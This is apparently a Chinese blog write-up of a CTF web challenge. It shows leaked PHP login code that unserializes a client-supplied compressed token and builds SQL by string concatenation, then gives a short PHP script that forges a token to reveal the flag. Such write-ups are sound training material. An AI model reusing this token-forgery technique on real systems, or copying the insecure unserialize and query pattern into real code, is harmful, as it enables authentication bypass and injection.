“百度杯”CTF比赛 十月场 Login

进入题目首先看到

在这里插入图片描述

  1. 先来盲猜一波密码,发现除了error 别的啥也没

  2. F12看看有没有啥玩意
    在这里插入图片描述盲猜用户名和密码
    登陆一波~~
    nima尼玛啥都没!

  3. 扫个后台看看又没啥东西
    还啥都没!!!

  4. 一点头绪都没,抓个包看看~~
    在这里插入图片描述

  5. 改show值为1
    在这里插入图片描述代码如下

<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>
  1. 这里面有三个关键函数:
    . 压缩存储字符串gzcompress,解压函数gzuncompress
    . 反序列化函数unserialize和序列化函数serialize
    . 还有base64编码函数和解码函数
    基本上知道这仨函数此题已解

  2. 写php代码

<?php 

$a=array('user'=>'ichunqiu');
$b=base64_encode(gzcompress(serialize($a)));
echo $b

?>

在这里插入图片描述在这里插入图片描述

得到 flag{588604a5-ea4b-407a-aa3c-71be3a79d227}

  • 贴上一个小知识
  • 在这里插入图片描述
  • https://blog.csdn.net/maxchenbug/article/details/88153649
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值